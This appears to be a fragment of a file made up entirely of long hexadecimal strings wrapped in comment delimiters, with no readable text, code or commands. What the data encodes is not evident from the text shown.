c92f9eeeba5191ccbd00fb6cee296d2a87b6803ce278c4863f39d86ba6e9800ccb512f726cb0303f37d7ede36df3fb08e6ba628596423edd567ccb14ba54fe71f5ad72aa58fd545b35c5790d6c8dbd17205e3c203f401e42d2d59cae97f9943b360c302aa88fb1e1e96b625ee05e1243dbfcd14adbb5ca651c874a8d57706a80ae882512031c40be2d9962b5349ae7de63d8cd05c3d0c26dd80be5d80f58e9861cfa9f4b445a475ecf0188c8ea8ba9b8dd481eb5463635edf4a549accb413859c30580c07fa13fa5097d0aef68b1872d976b220ac17ca161cd6dc0f0cd7e9c7294b431ec759896e72e6d0b35b215e07c601529cb8fae728ed1ccf07b3b58cb3c33536b65d31c1ce80c4c4e098b9387b510b41b3d211ef302bd8e73c0dd00e10229aaa52e054c6206bd4071b51c9b6ba5b63b54a82b9ca8508f89fd7aa1716c1fa26655b0cd7cc2e3472f9d45d8a601d0a2880155f5b11b2300652173665309a1fc925b05b6068ab6757b2c7599d5bd8a950697e417e648ba62f5697737fdaa948dd7c35fd098d4405d8603fdc508f7ebce33fbb52e39d0b5c427e06c410ac61e48e9e7ddd149ec7bdd19700b158a2ae55b3a8df5721c5545962c362178e4cd940082c58c383638d9e0ecbfceb9c5ac53a2a0d797c78031c88c983fd*/
/*591ed3087828d1850cff05b45bb1bee266597e99856efe7d525cc03353223df69dc5563275c4003e5c28d77fa42c2c3e6cdfe12163f0157cf09d43f89f7d7c6fb3926afa21f91b47bf79ac90b3026714c764fea4479eb8dfd9e896c4c835fcaaabdbb391a000be295c0eda0890e403b516f8c74ecf67025430327863ee22013a46fb14ddaa1b1089b3d6f0afedc74b67c358e217affea08ae6b8e5a447041d0a2420a50a052daa1319c1374f855dcf2a9ccf339187a1bda8983775ebcb75927b2f4bab2d6411c6b9ae62b331b7c836e7b9ad4b5bbefe2362d10dd01124da5d411d1f4d8ef948424c6d7a88d39d9ec2b519a5dd50ac629f7b9154978aee3e7c8787f30f86773a6d19541c537cd64e6ba1ce703388f53134d725aa906d8243c81af771fdd03951d30e3317888ad850a7b4e06a825661df5db12cffc1b0f6a35a367b5e9eee6b0c20ff1f6ff2bf25d2b267c2721d6b78acea34e2748295b21feea950e305a462512838418a75e0a5948980fbafeddf58d1e01022d6242241438112c81680774d637411ea5da22ccfffbdee005fe76c5f4201de26d9b672fedde77fca8f12fd0e7796ecdcb575b53db56452f0896cbec34b849828c0f15a5c2657296760f882560e7a61e6ce25fe03264c4ea9fb225b7673f07367301cb56514dfa280bacb75f4dc6f2aaebdb1f931b71a4a7a5547f84d62fb763c4e7af64e6d2ecbe0426ab19a2a13963b92ec4712bfffec2ad80da64fc2e86ac089344975f610e4140417285bd24a29027d7963bbf541ee81b8dd05d4d3f32eaf1670b6c0337d93273cac0db079d1124de0d3050043548e8d7478f3993481c47e61a1da68efb1fe4240fe76a5e500b246cf2ff5e70c9a311c23bd1261610f28e8639634f598e02ebc0ffd9175b9f088bf111d9460a858458b03a84284448bc95f98e12ce05446d965bcdfc4036b99056b0bb2d98480dfc3041c166c70c4c4b1a13d6bdf818583095c3bb73802e120ce7e7c7133d2de26c7d7c0c5891446e9e371c08460341ab503c2eb9ec89031a14bec89b9ce0b2330b40f4e7af0419fe7f9564a353cba50216daeca84b5f5b1ecff15d9d3162092a68483c64b48925b3585b8bd0669ed5772432e6bac561f91468106f3ed5e12ee4437c15cf6efdc9c205e47511437826747340f425f2ccf8ee2f70f80b40e21606e32ea7c09835113f6a8cb89f1f4f9f883df5ded8ffbe235f756205373927c9c4abd9b8a4fed2d3e0efa2254ab540a74e746de1b3911775156583953f36c46cf1f12604d765df85e8a506a8f021f8e711bf988a4c9081dec2569434022fb1b3f176394d91fbf310a4e374889db7dddbcb72e019c0e59cbe8d0fa2ee4398af91990bec43995796f2a92448e1d351a6f7fe1ccc670de2db5bafd11c4a2b191dbde3eb8836615265c352fc2ccef75d48fc33021147d147a2f1c1965ff086fa3034b180dcc8881d20a1d75ae6383947d40d58ec20ee1ba038b0dbc98b26fdac166344fcd3abc68a4b6fdd423ded17fce478b50c71836fb3f9af432a1e1af84c35dad07f9ad1b59493296352ea147ba2c55c00c661951440dd87c4f2600c279fe47b1c09d729c57cfb08ebe1e9528863526f028a2122a09ad581b08ee9234d212387db5d88b107bb00391c1dce2dbf6cb3ac1d5abc82b8a46f9686c09ea234e63ca152a311cf688cb92434fdeb655a7e3c1d54161a5096f5e9b06364c90f921e4313ff048c4889aaec2e5c8fec6619713c6dd49b5006aea484101f278a7e13e957610697215b170c923519ccc1c8a5071f6787fc02a4f66161326a730ae27ddd575e32a573731511ecc90ca4b5f0f744be5b8914b6b6ead202a73c53b74d4bec88217d0931da3f98de13b3c81f81a8453bd8915547c0efd0c8442c1d4e59b77c81a3e7576fcc1fff3ac967f1c620858994c2ebdbfd729784a729c551b6053e159337b59ec47fab895fbe6d1bb86d88b1ccc4e846901de7b5258727654e5f241979cad5430b083d40befe3088b413cf32125a205d46e6641cee67e263c959bb12a3f58a137a0a2d163a7e7ae96876637ace0aa466cee0ac4f8b6426c11b5461aa7ec2ff4740827d182a4ab1c897608134c5c3dc5bdf211f6c9fd99ab905bc1bc36443d288acb176ecb3ad6617e0170d8b096b2ece3f2b69e7252f081deac1b7f0ce6bc879c9f1e307af6e3b311211382ca9a3dc8579bfba8bc49521029fe93cec30db680b8312413f2c2b2d91008ecac615e053b9c964b37c0abdddd9ab88b9288c235b5914a59f16a5e83a2d6286733e9f2c680d7fe3aa859d225fe01a63f087dcd64cd661906f225b29788423db5d11deeff2daed7da48474bf323c81f0720126d290a387db259af13e35369394db5dfc5a734828bf143d7880faf33722545bb247cce562598e34bbc6b8cb3cdae5042f2148b8e7c67b5ca5eb9d8f5a88c69533d59b4bc9dbafa1b5dd4f44dfe738d4fa794b519cad865fa2a9283ae54ee29e5972dabf2565307120796e517febbb466248d6d4ccad823fef2491a386f3bb7f2f70130115bae1bd21bf0af7f7197a9f64beb14490bdad55a4aafc2b400fa2a520e448b10f581c9bc0f4fcaaa8932b8eef0e41d517190c2f6661c3bd2dabde6ab609370b02833a80c832e516ced67aa124d258606a7a45c714902a648bfbc5cae735e139898775b5ad194a64f98bd5837b38976970164c7991aaac98607546e32cbab31199a080f29c7b41190033e85202d48a285238dedf82054e708a5bf3f91ca0504a0244589f0132039bf8b1aa03f819db3c14620e1bb3fe59e7e38ca63874c151605*/
/*82267a4a2c2813afdc1806a7cf6afe2e820a403959238b688a7b6c303c3ea0800e83f3163709fab5b4c507776ed9824599222ea7f6c6c5fa3165dfc570135623c5b83325e3062d7b594c3139dadaceaad86f97f2cab335186a541d572c9baaa4d0f0b76c715916cca0d67ffa279dbe16bc98063031287f98d63f5aff6b419a72d943e6443dd7af89247f07fe426d5cc24dfc5504009b2ca80e6023211bf275229b9825fb3b8b065f29fda9440746508e286fe996ce59706ed931fe65ac297020c28f5717be4875030d3886a0b6d42752091b505e90b823c9545f98fd51042fe20f1550d41e82284fe2077ec959c8908b8c023e82f2dbcd096ca4a977895a8c8751b36ccacba8031b3eeceabcf63e48ca473436b55baab0b0c7d19ccc25c846c04fde025a9f77ec7e2b693513846a4b5ed43e1b21523353460f733708ee7a8504151fdeec719593e44d07060e920b7bcd252264987c6fbc2827cfb3f2e6d79c636ac62a3634a29f89a448743b572b60cf7a91215c56ce742bd36b18802b4d1247394869bd9135364b3b1ad400d72b63cb14c65f2bd6017dcd40465a5e545da622ded3cb89b5a6880742e3ac0f3130620ebcd1373201da7d0c244c3fa2cf214b93848eb6f1e74bfd79635ef71a5f42120ff7b96b43b6d6da7463696be4cdac78f77478e658af7758121f999acb0340f3e5c51e00f6849f60a62e222fde2146dcc3b66266bf631b286828bc5f861e48c958dfa192b9c87a105be2372832cf781c0b1eac16155deff8335aafc484586dbcc5ff75f2d6aa2531d2b23b320b665af6bd56f6b0db8ea31d5141c547e18b80b7e290b8322560d3d17d85cbd46e28e265ba636e9145d7ce76b367b4bab715dd5cce6c37d59657d78a4855b12cb02ce56bbcacd7098c1352deb50ce3f9ca5d3ae372bfb10f406e2537c5dc891f19766f2fe9c441f6bef8ed6e4a849219c6b10ae3f09634e54c8002dd810f368dccf252f15c9e46bd16fa8625057eb55b393273081ba4a954934dcb177341323b07eea255cb11eee00030da7efc3b539bb3ebfae936ac3135102f08e917ebb840472606040c949e5408d8869e15ae5baf60fdef0f9b0a4eaaa155f36265208b0856dd961d6d85398a3e15d0fdc8533347bed04148e05c5eb84d15c48ffacaee8d2065d3b6362aed2d8b884b25dfda8312d6229f635c5b4852dec63e1224428d04cd7cbde3599682ffdbf1aea98e5f9e47e69ceb19f9b87941c0d3d8b5c5c5676ce4d53e8e9c44cf0b3221e09502bb02365fcfad45655e4354a6c57174eb28403aabc14ee6af44a499c151fb0d6565bcc64566dbb18ce48b7332e03857d3634566683e0036e9e9c44593c058cfc19ae560d9f4aa5e54a4effa6848ade04610532bcbe571d4753899358c2a22c726411c13b7283cc32f974f62bcf3897e8dfc5563e037ff055f7dc817c950cfba48603d551b8cce9e6f9b6da3a90508c561d8779c889325f95b4a1c84f2314c8bd693ff124b33fb3b75269795fe019e70c07dbd896cf7f9230d13527d6bedc6791426117eb59caeb207cb9012cc4878c4b2a89c8aeddb5bc82f31d6194f741268b202c4afe8ae4cfd897c240c27ea0e92f1fc680e9ba393d94fadec7e8258d8293bf13529a904eaf801884ac7d5437556c538e0986493c4842601445f300b367761992c7a27c25af5318d6d1aa9317527a215af042c1793783ee296bfd96bce0cc427571c714ca32637deaa809cd9edcec259ffaf8816abe5ed8568621eb1bd638a982a41a9d5ca1e7ab02bf2b4dc531bac657b23c676332b65390177033bb5a1ce2364cc3b73bf5a186814908433fcd71a8d4c9569cc791a46637c4511a23f438b54b9f0db9c7523318378cd6bef4b75220060f0e264aa3c62c842ccd20f459502cd195388eca29dec36a540dab77cdacea6fcf9b112ca3c8602087df9f42ac5ae49e5e19d508546c606b4255891626d0c956f8711f6d34f2b91764b8f240da9d214c0a5e61365e064081f4fa0055fa9941aaff5b9677a375c98d3b28edae146b244ffea69e3cea9f3876b76dab431e3d0ca3a2ae7519f3475e1329e818dcbb96e75b3d8aed54d5d6813e018ddef8f56a20ea108879336a8f3a297ffd6cf4edb480b6c7f8185dd91c139539aaa30c10cd68840c5ae572dce4d4c7afa7afc4e89e67502c873318f5ccafdef2f69b15a20879ab1936531c7b9dd000016b2e66b32df4546d77df1518366442a72af56f4e6702225f09bd16419413d0b437188a4e50ca77b6bfb523553c38325482427ad44b67f4d97fb55e038b7d0eebc5c5dd8f0c5c33ba1ffc1f67cf70aa06bd0be74f2400e7b28f7c4e9dfa45c1f3d6c5e923bb4876bb33f559a49bb747e0329a18a374447aca1479152f7c37fd39ff9e5788f9ac473d5917801f71f840a25af307bcb0080ff696c490c60dfe3fd7167418406fd7d5c0d9bb5d715b96a307c48ee5f02d6e04c9155e664c00b0a51fe8e8a92b2d527926fec3fcb590025974f9f4f326fb7e8b924b8c7546fa8e8def536e6dd855e470900bdff4170cdebf0ba89f110c3ba29afb3ba59bef37ceaa2a7f35a38b4f46a400b4e8e9d4bb72d175a5d833d61f45090b5949ba622bb1934af47d6ea414dc662acff5d06d1fdc9f7216b4c6c1d5dfcbb549dc6978b966669237bd3faf945d6b6b23409c2628f4a302e17249dbab5d2f4666e9cd54b29395c66b7ed7c69c5bc49080b3ccfe527932bbbabb5c957ceb0c08646766919cab5e0340ab02fa25395cdd8e26613a1dbd77de62ec0b05c2b6449e48bbfbe86fa7edec3437ca884ade06531204990367e*/
/*b12aa1f4139866b4ad77543c4945f60a94ca2d274d4ee63ae419c9afd6cf2a7264298d43c7951c35e1061adbfda4656067de1d628fb4f9fc06c03f1e35ffa4ed8b85151ab452515b08ef7c31e920a9c68183635858c500cc92e395fd7e913f5b84a17a88281e095d35df042f480738c809640a63bf190e36e40c865e8e4f69bbf84b55f5d75495b07ca27c8ff088e1b50d0d2469925fee7042328f27279e5f560a96bcdc9f48b591e457fa76792b3818a8e63a6ad96f6ecf316eb216034da86ff7584b4bac9b27595841f00c54ea571f9be8e9675f632b248ef42b8b264d560e2914e9480a38e491d08a767d4001bbfe83ec29e55a3c118e70b119fb486ead1a87395d5fd08094d940a63d1fef6ce4caa5e759d19d76d134ccbb3065eeea34d9d1f28f30b39433b0c7b93ba6666f87c70ea8a80b341e20ab1af563255abca203435968ee0050c0645e2f881c5311ed5ef09ca35101fd73aa86ff86697b9f42fe117e60ad1ff9aa97d6e7c1a067bdac5223e96db07b7570c718c5d63ef1d8530d7cb5bac1628dd3fffa464d2b69c8b0da73fc527c4a3ee11219c47ba870883f985d109b32774f12d3cebbf1762a713e7d101788e857008073b06afb8296aef591e9c111a3caf88e9692cb979ff8d619e8a8055733af802e481cb7b03068d68f93339501d1375b96776181da31cb5fa4c24deeafadf4e8bb2cde76d35e68064ddfe107a2aaf95742dbaa658ac33f64658d3ac60d441bc237fad51256368759a501512b2e214f9d600954e163340e622b92b375f643de3d4aedf57f0b0964f89cfc887dd34e211945024dbafaf6b5bb48c65f280663e665af310c768c8f1bad54d5f1f63d741036ba685451b0e39146b8f8e2325523dc75537e553691eea448ff53def4830282bb91949506c82abb674158549497cb9353445dd91878292ade90c87b5bb12cf74af33d7771627e8240cb5751584067588012462be06e80b64005f0f215a568517445f4ed112f77bec7b6fd5e64bb2846616e883844b1238d10e1cd1090fe262034361962e3d5dbac5da61117a3fa9f49b0498c3d839b0515a394d04b8401329f9057f2220fbb72ec667b4a4a3961fb87c2ff016576ef505ae43e1e3065ab1dc75c1c0d8417406b18cfd04e285c1e06a240bee93e9aa892cf6334919bc09bcf750635c5f30c520ec0d38a8c53086ebda1260898fd136df6d5b0822ae37d4fe2de6b6ac7f7372858f485385276a590ae7ac9bccf5f78fe47639e84c14e6dda1edbea32619e220aa089730a049ab93310fbdc8a79d30be83db9dcc3b3c52117782a814a3ca1357992094e14c61d7e9dba62e2072ad42106a74242e9764592886cb74231fc81426edaed493661a415d138501add86f3c044d1684cce5a7435f9fb0581bc893c9b47050a7476c00f21cd42738f80835a138b62bdd43bf5422ff5fe6b244adcd1aebcb7c3ab1437255dd3143758a1537a92d446787c95cf96363bf1e27163f37b4db96d514329be20aaf209fc23eff9a53853a9295be55881e5fd035e2253cc78b15a3defb8087481d091fc6ee9b558e04e057ad2b625513d133f45212c785736e15140d8855a96102717769e82ddefd72ac31b71f4bc4c7adc12469b4cbadd109c013cdb288f49d2631f875cb3ca94146966bada1ac00b6b6fdb70aaf491d57764c261f5c0c6ec05b007d01ea8f4d9ae919e1732491acbcc410684b72809d22b22209b776d82dcfd3f2b1ee1c1e33d32c5e3cda07b042cdf1941c658c9754085f3048bca6b1a86d35d63b43234f18738829e5cd7fce8fc0c0817e96101768c7825ef07638d0ad28a9050ca11812bbd15028b81b8ded31dda59190b234892a118b414444a7e06dd8fd9ed728af437c5580b4d82ed1f318d4cee2345228dd2eff0c681ed36f8dfe03834ec259dc1be81dd41a437d08a5a3f747badb7b9463016dd2812fcb68148a74a32c9fbcc7234e51fbc6b91ba52ccb2886340171903c00788071c3c62cce0a0d0c80debeab75b07d3a21eacc799ccacd40436551148be5420965bf1ba4653ccc4ee2c9c0d3e5723a6421c15abdb917887dbc329d34fc0ce497d6548aa652f10e4c9b40ee06e7631c5a499b3e9bc4b02b0ef175eb765022eb663bad384acbc9c6b93440bc3e5c059e4557f0c57236c4a9526a40c21aecadb95741d08de998d5a5ed432e710d3a0327b2dc0e259483b5cac66591b850c4c65f5dfc413c3aa3ee52e788301a7bdebc20db84443c6c5ba69ee259af1d86364c1712e6bbb7d3fe6084ab6095422dd52d479483489fe4a013ae9fb02218a7cc668b3e8b075af56cc8a2551011a9f95b7a230771d99f6ce032cf4ae8046ffaf424a89699f271c28c2c98f8ee1139c21bd464f972ac08df4437df4ccbc2cec091cb7f41a614949f6387a46a53e0e03e42f3bbb48c44324d30812bedd07d9f46fed189840a96da88a4cd0e5597de3afc4311014d63cf19992a6c6d02407562d6f5443aef0cf5cb8a485095fa5fac2f547a39220ac11c41d453d7043aa024c6d85e55ea49cf033c67f1d3d1bf7164362f94e125c214d4e5076672d71fb593f2448381b2beb4ff30c0af4b180b51ea4fc71cbd06db061a5c02d876faa48b520502244b5f513fd364ecac505059b14da525fee6ceec07322481662e46898229a1fc31ac42d3f18ba73fdedb677510e20ebc1ca89a0cc1d0e3aa84ca00e5d8f8443d08dc3131ed0bba6a2ae896df46a35b1842c2276aee7fe5bc094296e9bd896e6873ef2ddbfed6a1dedc2c43d48a8124c908dfe2a3bbe4115c2a0b61e75e1ad9763a66beefed5489a53ad03*/
/*dbe51b908a1e793ced4c912186f068993de1f468b03813aa310852ab687cebd52277515988c41337ecb4052b344a183d5a5b3d56d275b4aa0c79064b7bc6b245aa984b2f0f741d854639d5dd0790de9852fad7bcfa585ad28828839a91acaf2f9e34b7a29cc9ba96c9eaf2ed307ee57290f8f6c0740f91bc256301fa0913f29bf670a49b5e5c88d41715a4361862d7f978ce17b3b520b8b7a3c4d4e3ef223ffbb17571c84c623bb90fb0304aeab8c491a842600d0762d2597792dd8d35e2e3d36d177ba660cb51b4175c75c789b97b67dd43aeee838022a7040ab1f11cad35e0549c0a82a35b5370ed3a1411b9631e7844c5ea0ecd323b98e747e197c11426d07570846bd7f0e4bf3cc08485a9726482eed7cae8cdfebce438b4589cf8f115a1ddc9bd33421a4392a08f8f13de30ccd06faf5c40e1ddf91de049c380df8b6979201ce04a49f5cc71ad08e81b1a463a511c14814d5813961004e431fd2c88e906446279ca664a90bcdb9b3a1e6cae9dc0b0f5cd0530f29fe7c79d1e2e75cf50642f930c307642efa603fccd59b5b23525633c996bca47632eb5d70886f13037fc37d260579f4747b1b6a3485ab9019ce2b2c3764c43d4268ec3a85dcf97a442e1a73259fdd026832fd154b7500f195542de9006600f84e26a70e36133e5369c2f56fedb58979a9dfabb2a6a6224121c32a06e81c64f5ada617b4635c3841cdb30bd7129b67135c4d8baf2a9030966106400234f33ddcbcf7522ef8b0285bf44b31f6c9b1aeebeca78f27258b556f8f357fdbdc6c145c1ca6afcbb7b1f00cdf3587bff673f854883495d78c2719797a0e12b31709a185c417b6bcba77c91c2de834259817a186afce88823d6ec178ac47b56262ed48e18acf78b25a828e2cc0b8b9262facde62b65e9e75d11309b2720124fe20c9a7391100174a0811bb629ba87b4bed86a9e1980fed53ad3f9cb82e0a87521c3ea2a216e5a659ded413fc6b1489d5e226c1a6f5c40fb97e45ae5c0406d1bcaad52bf17315939b08560d9b17dc471902ab0b0c9f2bbc41871021247f70dfc0c5af3a6a8e0e2ee8bec5c42f0dbbf8fac87a549294fff995eb93e169f0ab1c094e1d5bdce5eba8a6c287e4120589bbadc18dced8a1f9d25f3bab547d7e78766a3086f19dd2f73763c104280d3b7e1a08c10eff5e68facf083b5ee7656ffa9cbe66738aee3ecd2af7c925e42e027bd1da3a6899d48aaf687137ca5adbbdd3d00d39abaa40728c3929d183e39259c380d50eaf4a672ee120a64507404b60f52bda980f299d9fd949ed9f608fc21a1b0f92ffcacb92cbc6acffef88390b396bcbdcf6fbf121d961ccb5630842220e633ab7961562e3f593acc8d6a82026c4d3bff097e4be75d90e20c2441cf6ae62724c574a97bb90aa59bac3af9f41f08c39df9d84e4a2a55d8778dd6120448cab6d91fa2510a455926307c74555231f1d6481645d54a5ba1043e6811fde08b449c5dc921aa875b7f40da1ffe25875a43f71485df9336ef76afae1b998a9fb5d4e4ffe1b272e601f041dbc9e30542f8c58513482415b3c40453e53ea3779e895955865d15610d8b30d26c0d9967913f75e690e8837a3c079c91b0c0e675eaf6a01bb5f1d5a61caac78056e927049e06a4c2d774b3410c0bd260f837cff569293528bfeb76326877f03eefe65e25f961f63e12b422d71f39c5e31167e7b9ac0ea94a4143cb3664a14e98d21bdf1f9e914567922b4fe1c44faaa09edc4da291388588074da29ddb135a7e08915e3409165f55b28f65575d5fe99c60e178275ef282738b8b50e39640faa02e739989a6cf262726088aa452a35594ba43b76529851b1dbdedbcbf14bb63f78affd60410acc385002fea78daec8820166c365aa42c971e613fbc6d82f1d6c1111070082df9a3fdd71199383de0e235448f8dc15bc2d2ec5ad2ed38a5be8792244275ff4e714efdf57de64017b3aeb9fadbe108bfc85250a4289b95cfc16e868ca1ad5d0d77cd13dfb89ac43ddf53a056c76e4e7eaf75c7abc03d8f28ca5f5e251c46782d36095cf2dd650fed21268d2edc5081b8415de8e05ad22ca4c1d9f6db5811272acf9684d9b6136cdea13d4e0346de5f52c5fb0eddf89f4546f811793d6e14af1b45bb295ab12cc4a5b6297b6837e31735357dcba2edef36d3f9c5884b4d0c4fb9a381045f8b0dbf1d46936cb8f55f6b9d3ed596014387088c9a9b92b8d6362091d262e04563b9eb608523d07a09020dc9d2c85218b5c89ed752e344bc59de7c31648aa084bac5783d66bcea92e4c73b22e11b0447d9eab812be4f38fe95c7d35bf4720ef39cc6f803642aab77651fedc88b831b8b59e99443237460c8ae0cea8a6ce98c0b97f50f99c24d097fcc2986443cd0142a072a90094319ec18bb6a8e0c1e23b8719df303c790f72d374d49f8b0ad191065c57feb27fadd10933a5fb88ae7e330c74d5a637d1ce892962eb36b2600880b40c9be0e5c0ec2d4bdf8a6c7216af0dee0de24051152dde4daeedbde9fbdb3c4a68b27c9aa518c449d7405b41698eb660fb8635b289679438f125381698f862668cd6127c305ffa523b784e2bfa34869925cd42fe8f46b440b6672fe7c3eeacc4a4da4efeaf13beead21695fed542a6d9335456d78c01fcc28285b1b646c3d0980919d3db27b81dba26840a8182c85d54222ae7788b79dd3971bb8cc2e09d84c49057c1108fa23aed24ce17f546831eee318ef30a19b07f10f54041d17bac1994d5c73f8d9f567006c7eb5c0aaba373f8c4d816842298dfcdc3e674526675a942209f81e8e21da5cf4ce61339248a32611*/
/*1b2e29694273bb8ca3c025ebaf076b42329a0699e48b715e8c5c3943b3144046d4f94a40bb710ded676c0ad0e8935dd8740a73df4200355b5063980c617e3e8b4102824379c3ee8ec9f034b561e376c2d61e5ff13d02968f690ee0b0d2dfd53bd9b26a7c5d8206e0b22e75c3df1638becb7c34750b6714fff1bcf48a27e9702ca450c730a76aaffdff0e63a270487050d9b12ab90c4519ef6f6054044c82d646efad9493141205822d4e7c78b3bcafa201869fd78a1b51d6b624457ca12b707d8ed9e1eb1f084fe1fc2180df30a2f40a05e26e8998e5ea5ca24df73273d4080d10133b717702aa12b5c677c706bf56d058cae3753a23b1542039de46a3430d3cdd18125d603c9ddcc3fb16d8b12871ace6d1a85b0e087b88abb5d62072266e953e53f04c121004ead0e34b70a4b033f3c16db2c00458da77ea37b387cf6ad4fb0b6c0609ffa67ad7c1805390eca01d8d47625c3eed21ce63a0a7d2688905291a37c98a4226663d5e70162b4d03d772cb9b76be550dd0f53f2071d98845aadf1018afaa6159534b490128f47405e857454676b16bc26674a8a4c3b8f9846478ffdc63daaa58be0cf29abbd46d3c5a4c3ce60d7a56e8dd7138ccddbc9890542601586fe837e9168456c65782c4b8b8a3dd2d909728e912dbdabd59f54be161dcf4659c9f13f7d1820e05d4724768caaea1e457b35625170b257add8bfabf0dab39f6533f3b7cfa89e200c9a70b5eee9b1a992904bbf658106e1dd3fd038adeb3aae92a5072d39d92d328aec4c0e8030c3ffde0f03daa23bdaf8e0769b060d878fe0fcfc3fc4264b2259e1754da81458c1d83d392bfc49eb23e777f14caeba2909810262ed88efdcfac3af9d7e4386bd38f03e327f54869aa6153ed0f603c30a3698c64f3d25f5e5f258040e771b87b28b36547089238034b36551e27f57e1f453c140374977f027718663b4cd512b91a30f073c87966bf770ea044d53f8ea8c701ef8f3920ccbcb2c53c17e1f4b4a16e747c5630cb6e6a9aa851ffb9428758c65d2ee906f459a3148d30a041b0940b7b9efa25c34bec99a3a5c15b5d4c3de510863f96837bed2b30daa17fdedfd472a9a4ae20c0a5f23a930eba9cdcc3d170de0ef04889405e2f50c5bdd4b816a1d7d25c6091edfd271bc268488b652d821a8eacebfced6c1fb344a2cbd8041e127c85d99c0a90fa29f2afbded747910b1126f76e5df1a6e59b787ca3e96c8052e5378f108614eda53d5d30ecd535b92297663bda1d61892788da51d23ae2c5c0e9bf71582336138ba11c5ce576174aa7b306ec509e1cf50eecb2dad0f5da9d3f72f6404f5ca3704d7f25aacc1e680f73be10dc7cc3af497f11501e86777cbda09b0d07a515a672b8220d69593b3211dca10bebfd216b67c4fe51148520c855dac709142d6cf06248417a2f5c54609d1ac4a282d67ec64d390f1ee3a36ad113162fe83790adb4f864eb90a94911b64b1a17478d9d814c2f0ab886e827cc834ffae7e907f610215702bcd2233ef1b50de6ccd551341cee20694c9e492bfb6ee191a84ef02c7265b0646838f5577961e6f1d5b145fb660f2a05b821a07e0d231f7919c9fdf9a60e57bec6d0d16909be4c4c5afc3594e2397f22a14ebb8a586df54c7cfbd86bb1440e71099da99c4466ea0b3dc8bdbb8d3fa3bec18b5d527b6a6a9d33552bd96f03b59cb0d30a57b4a92ce8521385ab41654021407fbedfd7dfff7ce1892cc9dbebc71f2b23a3bca36ca01d212268863bb175ceb00e707ee4bddbef33a3c9edaa1ed4e43e4e48af64b946c7c12ae5094f9b3f43079d5f0c079e0ff123db2dc11cb627b082b94532083b69f82b0121d61df964dff9b6ab0f8c066c97e48d481378b5b2b76c57de14a66af84f7c4597a86d9b8a9f6c1299f5ccc9baa5ae1f35c7cc228232067e5e63ea6172fdc6d9f6b233a86c0ef1dd39baa584c426e59463f650b4115b3afc145a6d9251e4e7643eb40e53f8fb61ca86546770f82261e4fe03bc645e7708efab35b41945404599ea139ae35ecdf20facef12c92e7e848d962884ae2c7a693eb975c409d09abe2f712873734f72252037d76a78aaa5f0e40c6d748d3d9301f22e343fa65bfc846caa367028a326a554b665b646d92fd2f42b5c558bcd63073dcbcb7ca2cf25babc7de878ffb8129321cf5eef092b15bea176ab7991a1e4ff80154356badfd287661c485075c3bc3c10cef7cdd8acb5dd24041c3442d60ad230d1d5dd14737f4cd060028ce450a20501d667279be029331fae48872345bf19664b9650d9cf18907d8ea29d7f297c6ff9918552cb2e1bb74285c77a525eb912627c01eafc2ec856b0a44a97732d4f153815fa091c2b159a917cb011024340f9f7f5365ea086afa6b0256d62236647e91924f1c0add942819a4994694f47ef95ac1ba654cfecc4c6745571a90cca8e16b768871961951ab98a4eb3324320b928b09a0684f496101bc4572557900eab065473c58ceeba33b4e3bbbc2cc7c2ef0f367dba0e3b8ba3b69d7e99f240a059807855b94e6a9c707b8e186e478316d493f113935ba0432c1f6f756a8848b79c16b6eb9ba88dc578b8da86adc94ab5f7e5c20e9e694049be87a99d5ea04a5c74e0ca5ed07f0a60c067bb4afb873a4153bc09753a19c9a068eed051d4ec5f7759cc9b7d96edc6cbd2e4b24e861e20279e75ffe1249d38ea1f0669861ae0a111eb4941b0fdd3681f634e7ae7eca023b73a2078723853bef26f2068ab58b7396e13190efb571a7029b9c598fef133a62abe29bdc3ec8f931d236b4a7133874e397520eb4ddad55666d0924e1e3*/
/*665b480ce8384c425e5bc32c109a7835d9ab741d1124e5065ebb60ac570801ba4df9336c0dae8dce664f43b687f966c8b3158bc197e84f39a57bcbe431a286057f07a61254c72b7e5b7f877fa32842e42d30167de95aebed08c2c1d90cf04094ff3601773bdbd940c157fafc07075d52d5c5dd0276f5d2765ddb2fb5f87e8643b952f702264aed4dc5aaa6c82165e9ad361aa565add9fd9c5ddec50bdee1fd3088cdd0a1691d95852ab7cd6b39992f237d61b2f6792b7eb964b9f82362f2e9ca655f088bfc625866751ad318b43dccc440215947910ad6b979f54c00fa80a0e309443abba43e644ecc94ca9580b0ac9c3f42a69fc02ecd86ab2156c031d679c5830cf10e0dee149705087c7e66ceebf7e196b11af2fed04216831ed9a64031a028cdd06e40c8de250ce548fb3e1e0f52e0906ea8034d767053400800c6f369b458fb2d30a518fd8ebb80d18508660f00c67a680935dd9413d2bd30d0d7221e52be03bfe9c75a49a64eeaaa1aff99511b773be41e57b1c126248b33779f87034d154b6f1aaf848a3999f61f8062c3e58faef04a1df1d3a887b8bb2bf83a156d13ec7aa7e5f7b69cd200e128fea2f3341187ff76d33164a7d3cfb7125240f3ac52fde40a1addd8b29f52f7a4fd49363f7bf27630d4c40546315d2c4c69293df25f9d0155988aed76fafe622ac37e1c0242670e983fc379c1d97016ef75e9e1223d8b832f06a2fbac8575d5d45de09ce7d2227486bdfe2badc5965c96ba02a55509223a79a69d25db5d5d4abded545632a4e23d8ac7ad8dfd82d983d342ef2440f0af6d2e0e97dc28b94a277cf7aff5575ef8098e4c40a4074e140b3f36fb2fb9110e63bc07f7142c86434257c85f851b3bc5c8e295822c51bb4619fdcefcf7cfa45c9ce7784d27030f840c2bd110b6d8d4e2c7f65abad8bd39f0426b68396feeff50a73417cdf88d7582278811927f9a4a6ffc465a62880fb6cea4e335230a0274ddd7f4294c715799b9ec6ae87a41df4846076d66a6c01da7a39a44f68d1fd90cd5b997e3f5b43d822a325ee70aa023a6068187a42c0b43fa7577c6e04ebd3e5e20fc66d534f3abf0b9035b4720caf0921d28e878a833b7274bb8ca195b1f69f78737afc144c3111fe0a7f8cc77021a1eb8170e3c50a43049c3ceeea6fdb4c40f139bac50fe6f22cdd169394510dcb3c606e3e80212570246f8f491d5105daa16192a9f4cb9ffccace5cef0985c965bf91a2760a736f68631c0f36ddf680f91ed4d4216f94b7bcd396745e60954b0d99614fc05ae5fe123f06abe045e094bc6c1247b53ff615e094cf452b063191ffe18d7be7d914bbeae6db9223ac18183570e2c28239e8cf4a44e7576e2204a3dbf495f5658e20e9a400f5efd28f3561fd4e8a86bc655a6b739f82bde16ff4d1f0197ee9c990b7f6e105e3ffa930eeb15bb3126e78c9ba46f34c2e10046c3cf64d1dc1e5c23489c68ec2715acc313025c32f2e462d19d444e013bbe3d67a86a66a4076287dab0d9e7af100